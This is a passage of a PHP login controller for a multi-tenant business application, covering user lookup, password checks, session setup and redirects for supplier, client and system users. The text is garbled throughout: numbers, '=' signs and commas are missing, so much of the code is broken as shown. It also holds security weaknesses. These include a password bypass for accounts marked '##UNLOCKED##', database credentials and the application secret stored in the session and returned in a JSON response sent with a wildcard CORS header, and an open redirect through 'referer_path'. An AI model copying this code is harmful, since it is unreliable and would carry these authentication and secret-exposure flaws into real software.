  2070.                             else if ($systemType == '_SOPHIA_')
  2071.                                 return $this->redirectToRoute("sophia_login", [
  2072.                                     "message" => $message,
  2073.                                     "errorField" => 'username',
  2074.                                 ]);
  2075.                             else
  2076.                                 return $this->render($redirect_login_page_twig, array(
  2077.                                     "message" => $message,
  2078.                                     'page_title' => "Login",
  2079.                                     'gocList' => $gocDataList,
  2080.                                     'gocId' => $gocId
  2081.                                 ));
  2082.                         }
  2083.                         if ($user) {
  2084.                             if ($oAuthData) {
  2085.                                 // user passed
  2086.                             } else {
  2087.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2088.                                 } else if (!$this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2089. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2090. //                                        // user passed
  2091. //                                    } else {
  2092.                                     $message "Oops! Wrong Password";
  2093.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2094.                                         return new JsonResponse(array(
  2095.                                             'uid' => $session->get(UserConstants::USER_ID),
  2096.                                             'session' => $session,
  2097.                                             'success' => false,
  2098.                                             'errorStr' => $message,
  2099.                                             'session_data' => [],
  2100.                                         ));
  2101.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2102.                                         //                    return $response;
  2103.                                     }
  2104.                                     if ($systemType == '_BUDDYBEE_')
  2105.                                         return $this->redirectToRoute("applicant_login", [
  2106.                                             "message" => $message,
  2107.                                             "errorField" => 'password',
  2108.                                         ]);
  2109.                                     else if ($systemType == '_CENTRAL_')
  2110.                                         return $this->redirectToRoute("central_login", [
  2111.                                             "message" => $message,
  2112.                                             "errorField" => 'username',
  2113.                                         ]);
  2114.                                     else if ($systemType == '_SOPHIA_')
  2115.                                         return $this->redirectToRoute("sophia_login", [
  2116.                                             "message" => $message,
  2117.                                             "errorField" => 'username',
  2118.                                         ]);
  2119.                                     else
  2120.                                         return $this->render($redirect_login_page_twig, array(
  2121.                                             "message" => $message,
  2122.                                             'page_title' => "Login",
  2123.                                             'gocList' => $gocDataList,
  2124.                                             'gocId' => $gocId
  2125.                                         ));
  2126.                                 }
  2127.                             }
  2128.                         }
  2129.                         $jd = [];
  2130.                         if ($jd != null && $jd != '' && $jd != [])
  2131.                             $company_id_list $jd;
  2132.                         else
  2133.                             $company_id_list = [];
  2134. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2135. //                        foreach ($company_id_list as $c) {
  2136. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2137. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2138. //                        }
  2139.                     };
  2140.                 } else {
  2141.                     if ($cookieLogin == 1) {
  2142.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2143.                             array(
  2144.                                 'userId' => $userId
  2145.                             )
  2146.                         );
  2147.                     } else if ($encrypedLogin == 1) {
  2148.                         if (in_array($userType, [34]))
  2149.                             $specialLogin 1;
  2150.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2151.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2152.                                 array(
  2153.                                     'globalUserId' => $globalId
  2154.                                 )
  2155.                             );
  2156. //
  2157.                             if ($user)
  2158.                                 $userId $user->getClientId();
  2159.                             $clientId $userId;
  2160.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2161.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2162.                                 array(
  2163.                                     'globalUserId' => $globalId
  2164.                                 )
  2165.                             );
  2166. //
  2167.                             if ($user)
  2168.                                 $userId $user->getSupplierId();
  2169.                             $supplierId $userId;
  2170.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2171. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2172. //                                array(
  2173. //                                    'globalId' => $globalId
  2174. //                                )
  2175. //                            );
  2176. //
  2177. //                            if($user)
  2178. //                                $userId=$user->getUserId();
  2179. //                            $applicantId = $userId;
  2180.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2181.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2182.                                 array(
  2183.                                     'globalId' => $globalId
  2184.                                 )
  2185.                             );
  2186.                             if ($user)
  2187.                                 $userId $user->getUserId();
  2188.                         }
  2189.                     } else {
  2190.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2191.                             array(
  2192.                                 'userName' => $request->request->get('username')
  2193.                             )
  2194.                         );
  2195.                     }
  2196.                     if (!$user) {
  2197.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2198.                             array(
  2199.                                 'email' => $request->request->get('username'),
  2200.                                 'userName' => [null'']
  2201.                             )
  2202.                         );
  2203.                         if (!$user) {
  2204.                             $message "Wrong User Name";
  2205.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2206.                                 return new JsonResponse(array(
  2207.                                     'uid' => $session->get(UserConstants::USER_ID),
  2208.                                     'session' => $session,
  2209.                                     'success' => false,
  2210.                                     'errorStr' => $message,
  2211.                                     'session_data' => [],
  2212.                                 ));
  2213.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2214.                                 //                    return $response;
  2215.                             }
  2216.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2217.                                 "message" => $message,
  2218.                                 'page_title' => "Login",
  2219.                                 'gocList' => $gocDataList,
  2220.                                 'gocId' => $gocId
  2221.                             ));
  2222.                         } else {
  2223.                             //add the email as username as failsafe
  2224.                             $user->setUserName($request->request->get('username'));
  2225.                             $em->flush();
  2226.                         }
  2227.                     }
  2228.                     if ($user) {
  2229.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2230.                             $message "Sorry, Your Account is Deactivated";
  2231.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2232.                                 return new JsonResponse(array(
  2233.                                     'uid' => $session->get(UserConstants::USER_ID),
  2234.                                     'session' => $session,
  2235.                                     'success' => false,
  2236.                                     'errorStr' => $message,
  2237.                                     'session_data' => [],
  2238.                                 ));
  2239.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2240.                                 //                    return $response;
  2241.                             }
  2242.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2243.                                 "message" => $message,
  2244.                                 'page_title' => "Login",
  2245.                                 'gocList' => $gocDataList,
  2246.                                 'gocId' => $gocId
  2247.                             ));
  2248.                         }
  2249.                     }
  2250.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2251.                     } else if (!$this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2252.                         $message "Wrong Email/Password";
  2253.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2254.                             return new JsonResponse(array(
  2255.                                 'uid' => $session->get(UserConstants::USER_ID),
  2256.                                 'session' => $session,
  2257.                                 'success' => false,
  2258.                                 'errorStr' => $message,
  2259.                                 'session_data' => [],
  2260.                             ));
  2261.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2262.                             //                    return $response;
  2263.                         }
  2264.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2265.                             "message" => $message,
  2266.                             'page_title' => "Login",
  2267.                             'gocList' => $gocDataList,
  2268.                             'gocId' => $gocId
  2269.                         ));
  2270.                     }
  2271.                     $userType $user->getUserType();
  2272.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2273.                     if ($jd != null && $jd != '' && $jd != [])
  2274.                         $company_id_list $jd;
  2275.                     else
  2276.                         $company_id_list = [$user->getUserCompanyId()];
  2277.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2278.                     foreach ($company_id_list as $c) {
  2279.                         if (isset($companyList[$c])) {
  2280.                             $company_name_list[$c] = $companyList[$c]['name'];
  2281.                             $company_image_list[$c] = $companyList[$c]['image'];
  2282.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2283.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2284.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2285.                         }
  2286.                     }
  2287.                 }
  2288. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2289.                 if ($remember_me == 1)
  2290.                     $session->set('REMEMBERME'1);
  2291.                 else
  2292.                     $session->set('REMEMBERME'0);
  2293.                 $config = array(
  2294.                     'firstLogin' => $firstLogin,
  2295.                     'rememberMe' => $remember_me,
  2296.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2297.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2298.                     'applicationSecret' => $this->container->getParameter('secret'),
  2299.                     'gocId' => $gocId,
  2300.                     'appId' => $appIdFromUserName,
  2301.                     'gocDbName' => $gocDbName,
  2302.                     'gocDbUser' => $gocDbUser,
  2303.                     'gocDbHost' => $gocDbHost,
  2304.                     'gocDbPass' => $gocDbPass
  2305.                 );
  2306.                 $product_name_display_type 0;
  2307.                 if ($systemType != '_CENTRAL_') {
  2308.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2309.                         'name' => 'product_name_display_method'
  2310.                     ));
  2311.                     if ($product_name_display_settings)
  2312.                         $product_name_display_type $product_name_display_settings->getData();
  2313.                 }
  2314.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2315.                     $userCompanyId 1;
  2316.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2317.                     if (isset($companyList[$userCompanyId])) {
  2318.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2319.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2320.                         $company_locale $companyList[$userCompanyId]['locale'];
  2321.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2322.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2323.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2324.                     }
  2325.                     // General User
  2326.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2327.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2328.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2329.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2330.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2331.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2332.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2333.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2334.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2335.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2336.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2337.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2338.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2339.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2340.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2341.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2342.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2343.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2344.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2345.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2346.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2347.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2348.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2349.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2350.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2351.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2352.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2353.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2354.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2355.                     //                $PL=json_decode($user->getPositionIds(), true);
  2356.                     $route_list_array = [];
  2357.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2358.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2359.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2360.                     $loginID 0;
  2361.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2362.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2363.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2364.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2365.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2366.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2367.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2368.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2369.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2370.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2371.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2372.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2373.                         $session->set('remoteVerified'1);
  2374.                         $session_data = array(
  2375.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2376.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2377.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2378.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2379.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2380.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2381.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2382.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2383.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2384.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2385.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2386.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2387.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2388.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2389.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2390.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2391.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2392.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2393.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2394.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2395.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2396.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2397.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2398.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2399.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2400.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2401.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2402.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2403.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2404.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2405.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2406.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2407.                         );
  2408.                         $session_data $this->filterClientSessionData($session_data);
  2409.                         $response = new JsonResponse(array(
  2410.                             'uid' => $session->get(UserConstants::USER_ID),
  2411.                             'session' => $session,
  2412.                             'success' => true,
  2413.                             'session_data' => $session_data,
  2414.                         ));
  2415.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2416.                         return $response;
  2417.                     }
  2418.                     if ($request->request->has('referer_path')) {
  2419.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2420.                             return $this->redirect($request->request->get('referer_path'));
  2421.                         }
  2422.                     }
  2423.                     //                    if($request->request->has('gocId')
  2424.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2425.                     return $this->redirectToRoute("supplier_dashboard");
  2426.                     //                    else
  2427.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2428.                 }
  2429.                 else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2430.                     // General User
  2431.                     $userCompanyId 1;
  2432.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2433.                     if (isset($companyList[$userCompanyId])) {
  2434.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2435.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2436.                         $company_locale $companyList[$userCompanyId]['locale'];
  2437.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2438.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2439.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2440.                     }
  2441.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2442.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2443.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2444.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2445.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2446.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2447.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2448.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2449.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2450.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2451.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2452.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2453.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2454.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2455.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2456.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2457.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2458.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2459.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2460.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2461.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2462.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2463.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2464.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2465.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2466.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2467.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2468.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2469.                     //                $PL=json_decode($user->getPositionIds(), true);
  2470.                     $route_list_array = [];
  2471.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2472.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2473.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2474.                     $loginID 0;
  2475.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2476.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2477.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2478.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2479.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2480.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2481.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2482.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2483.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2484.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2485.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2486.                     $session_data = array(
  2487.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2488.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2489.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2490.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2491.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2492.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2493.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2494.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2495.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2496.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2497.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2498.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2499.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2500.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2501.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2502.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2503.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2504.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2505.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2506.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2507.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2508.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2509.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2510.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2511.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2512.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2513.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2514.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2515.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2516.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2517.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2518.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2519.                     );
  2520.                     $session_data $this->filterClientSessionData($session_data);
  2521.                     $session_data $this->filterClientSessionData($session_data);
  2522.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2523.                     $session_data $tokenData['sessionData'];
  2524.                     $token $tokenData['token'];
  2525.                     $session->set('token'$token);
  2526.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2527.                         $session->set('remoteVerified'1);
  2528.                         $response = new JsonResponse(array(
  2529.                             'uid' => $session->get(UserConstants::USER_ID),
  2530.                             'session' => $session,
  2531.                             'token' => $token,
  2532.                             'success' => true,
  2533.                             'session_data' => $session_data,
  2534.                         ));
  2535.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2536.                         return $response;
  2537.                     }
  2538.                     if ($request->request->has('referer_path')) {
  2539.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2540.                             return $this->redirect($request->request->get('referer_path'));
  2541.                         }
  2542.                     }
  2543.                     //                    if($request->request->has('gocId')
  2544.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2545.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2546.                     //                    else
  2547.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2548.                 }
  2549.                 else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2550.                     // System administrator
  2551.                     // System administrator have successfully logged in. Lets add a login ID.
  2552.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2553.                         ->findOneBy(
  2554.                             array(
  2555.                                 'userId' => $user->getUserId()
  2556.                             )
  2557.                         );
  2558.                     if ($employeeObj) {
  2559.                         $employeeId $employeeObj->getEmployeeId();
  2560.                         $epositionId $employeeObj->getPositionId();
  2561.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2562.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2563.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2564.                     }
  2565.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2566.                         ->findOneBy(
  2567.                             array(
  2568.                                 'userId' => $user->getUserId(),
  2569.                                 'workingStatus' => 1
  2570.                             )
  2571.                         );
  2572.                     if ($currentTask) {
  2573.                         $currentTaskId $currentTask->getId();
  2574.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2575.                     }
  2576.                     $userId $user->getUserId();
  2577.                     $userCompanyId 1;
  2578.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2579.                     $userEmail $user->getEmail();
  2580.                     $userImage $user->getImage();
  2581.                     $userFullName $user->getName();
  2582.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2583.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2584.                     $position_list_array json_decode($user->getPositionIds(), true);
  2585.                     if ($position_list_array == null$position_list_array = [];
  2586.                     $filtered_pos_array = [];
  2587.                     foreach ($position_list_array as $defPos)
  2588.                         if ($defPos != '' && $defPos != 0)
  2589.                             $filtered_pos_array[] = $defPos;
  2590.                     $position_list_array $filtered_pos_array;
  2591.                     if (!empty($position_list_array))
  2592.                         $curr_position_id $position_list_array[0];
  2593.                     $userDefaultRoute $user->getDefaultRoute();
  2594. //                    $userDefaultRoute = 'MATHA';
  2595.                     $allModuleAccessFlag 1;
  2596.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2597.                         $userDefaultRoute '';
  2598. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2599.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2600.                     if (isset($companyList[$userCompanyId])) {
